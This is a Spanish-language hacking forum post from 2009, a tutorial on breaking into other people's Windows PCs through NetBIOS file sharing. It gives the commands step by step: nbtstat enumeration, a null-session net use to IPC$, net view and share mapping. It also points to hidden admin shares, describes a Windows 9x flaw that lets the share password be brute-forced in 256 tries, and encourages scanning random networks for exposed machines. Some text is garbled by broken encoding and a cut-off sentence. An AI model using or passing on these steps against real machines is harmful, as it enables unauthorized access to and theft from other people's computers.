Introducirse en una pc Por NetBios By: DJmuerte

Introducirse en una pc Por NetBios By: DJmuerte

DJmuerte el Jue Mayo 14, 2009 12:44 am

Algo que encontre de mis principios de hacking

¿NETBIOS?

NETBIOS (Network Basic Output/Input System que en español Sistema Básico de Red Entrada/Salida) es el protocolo que se encarga de compartir los archivos y las impresoras entre varios ordenadores. Tal vez habrás oído mencionar alguna vez el NETBEUI (NetBIOS Extended User Interface o Interfaz de Usuario Extendido),pues bien, es lo mismo pero NETBIOS lo desarrollaron IBM y Sytek, y NETBEUI lo desarrollo microsoft, tratando de optimizar el NETBIOS para Windows.

Es habitual oír hablar simplemente del "139" este es el puerto por el que funciona este protocolo, el 137 y el 138 también forman parte de este protocolo,

NetBIOS-ns 137 TCP / UDP NetBIOS Name Service

NetBIOS-dgm 138 TCP / UDP NetBIOS Datagram Service

NetBIOS-ssn 139 TCP / UDP NetBIOS Session Service

Para poder comprobar este ataque con éxito debes tener instalado el protocolo en tu PC, para ello, si tienes Windows 95 / 98 /Me debes ir a

INICIO \ CONFIGURACION \ PANEL DE CONTROL \ RED e instalar el cliente para redes Microsoft, el protocolo TCP/IP y activar "Compartir archivos e impresoras", si utilizas el Windows NT4 / 2000 / XP debes hacer lo mismo pero, en estos sistemas se hace en cada conexión a Internet por separado (sólo necesitas activarlo en aquella que vayas a utilizar para el ataque.

ENTRANDO POR NETBIOS

Lo que se explica a continuación se puede utilizar desde un windows para atacar otro windows, aunque el ataque está pesado para NT sería muy similar si quisiéramos atacar un Windows 9x, pero no voy a entrar en muchos detalles, porque debido a que hoy en día existen maneras mas fáciles y rápidas de hacerlo, esta sección la he puesto sólo como curiosidad.

Una vez elegida la máquina a la que quieres entrar solo necesitas el Ms-Dos, o el Símbolo de Sistema, que para el caso es lo mismo, pues bien abres una ventana y escribes:

nbtstat -A 192.168.0.1

(si lo que conoces es la IP de la victima)

nbtstat -a nombre_del_PC

(si conoces solo su nombre)

pueden ocurrir varias cosas, si recibes:

C:\WINDOWS>nbtstat -A 192.168.0.1

Host not found.

Pues queda claro que "not found" , o no está conectado, o no comparte archivos, o no existe (mira a ver si lo escribiste bien)

Si la respuesta es:

C:\WINDOWS>nbtstat -A 192.168.0.1

NetBIOS Remote Machine Name Table

Name Type Status

NAME <00> UNIQUE Registered

WORKGROUP <00> GROUP Registered

NAME <03> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

Pues aunque parezca mejor, para el caso nos da igual, porque aunque si lo tiene instalado, no comparte nada.

Si recibimos:

C:\WINDOWS>nbtstat -A 192.168.0.1

NetBIOS Remote Machine Name Table

Name Type Status

NAME <00> UNIQUE Registered

WORKGROUP <00> GROUP Registered

NAME <03> UNIQUE Registered

NAME <20> UNIQUE Registered

WORKGROUP <1E> GROUP Registered

MAC Address = 00-00-00-00-00-00

En este si... la diferencia importante es el <20> que corresponde al "File Server Service" (Servicio servidor de archivos), solo los PC que tienen el <20> tienen archivos compartidos y accesibles.

El IPC$ (Inter-Process Communication) es un recurso compartido oculto estándar en una máquina NT , y es utilizado por el servidor para establecer comunicación con otros equipos.

Conectándose al IPC$ un intruso puede establecer una comunicación valida con el servidor NT. Conectándose como null, el intruso puede establecer dicha comunicación sin necesidad de introducir user:password.

Para ello se utiliza el siguiente comando:

c:\>net use \\[ip_de_la_víctima]\ipc$ "" /user:""

The command completed successfully.

Puedes ver qué comparte esa computadora sin necesidad de entrar, para ello utiliza el comando NET

C:\>net view \\192.168.0.1

recibirás algo así:

Shared resources at 192.168.0.1

Share name Type Used as Comment

NETLOGON Disk Logon server share

Test Disk

The command completed successfully.

Es posible que ocurra:

C:\>net view \\192.168.0.1

System error 5 has occurred.

Entonces primero tienes que establecer la "null session"

C:\>net use \\192.168.0.1\ipc$ "" /user:""

The command completed successfully.

Ahora el C:\>net view \\192.168.0.1

si funcionará

Para conectar a la carpeta compartida.

The command completed successfully.

Si escribes net use ahora, recibirás algo así:

Status Local Remote Network

OK X: \\123.123.123.123\test Microsoft

OK \\123.123.123.123\test Microsoft

The command completed successfully.

Para acceder directamente al PC solo tienes que:

*escribir en el explórer \\192.168.0.1

*INICIO / EJECUTAR y poner lo mismo \\192.168.0.1

*Botón derecho en Mis Sitios de Red > Buscar Equipos... y lo mismo 192.168.0.1

*En una ventana de símbolo de sistema escribir:

C:\>net use x: \\192.168.0.1\test

y después

C:\>dir x:

Este ataque solo funcionará si la carpeta compartida no tiene pasword.

Recuerda que un intruso no está limitado a los recursos compartidos que aparecen con el net view.

Un intruso que conozca NT sabe que existen otros recursos compartidos ocultos para uso administrativo . Por defecto NT

crea el IPC$ y otro por cada partición (por ejemplo una máquina que tiene C, D, y E tendrá sus correspondient es C$, D$, y E$).

También hay un ADMIN$ que pertenece a la ruta donde fue instalado el NT (por ejemplo si instalaste NT en C:\winnt, entonces ADMIN$ apunta exactamente a esa parte del disco).

CRAKEANDO LOS PASSWORDS

---[esta parte está tomada del grupo DeepZone Digital Security]---

El 24 de agosto del 2000 NS-FOCUS - http://www.nsfocus.com/ - hacía pública una vulnerabilidad en la implementación del protocolo NETBIOS en todos los sistemas operativos corriendo el kernel 9x de la empresa Microsoft (tm), incluyendo el nuevo Windows ME y las versiones más avanzadas de Windows 98.

La vulnerabilidad en si misma no es más que un error de implementación a la hora de establecer la longitud del password para validarlo ante una petición NETBIOS.

Los sistemas vulnerables obtienen el número de bytes a comparar para el password del paquete que reciben del cliente.

Un usuario malicioso podría establecer la longitud del password a 1 byte intentar un ataque por fuerza bruta contra el password compartido. El número de intentos que debería realizar sería tan sólo de 256 (2 elevado a .

El exploit que proporciona NS-FOCUS en su WEB modifica el cliente de samba en su versión 2.0.6 para atacar los recursos compartidos de un sistema vulnerable.

METODO RÃƒÆ'Ã‚PIDO
Hoy en día ya no se usa todo ese método de introducir los comandos, han surgido muchas utilidades que automatizan todo el proceso.

Si no estás detrás de ningún PC en concreto, y lo que quieres es probar todas estas cosas con un PC aleatorio (por supuesto, sin ánimo de causar ningún daño) lo único que necesitas es elegir un escaneador adecuado ,es decir, de NetBIOS, o al menos un escaneador de puertos apuntando al 139, después escanear una red, y verás como empiezan a surgir muchos mas ordenadores mal protegidos, o desprotegidos de los que te imaginas.

En la sección download podrás encontrar algunos de los mejores.

Texto escrito por DJmuerte

DJmuerte
Admin

Mensajes : 12
Fecha de inscripción : 22/02/2009
Edad : 22

Cambiar a: [redacted] Ir

PERMISOS DE ESTE FORO:

No puedes responder a temas en este foro.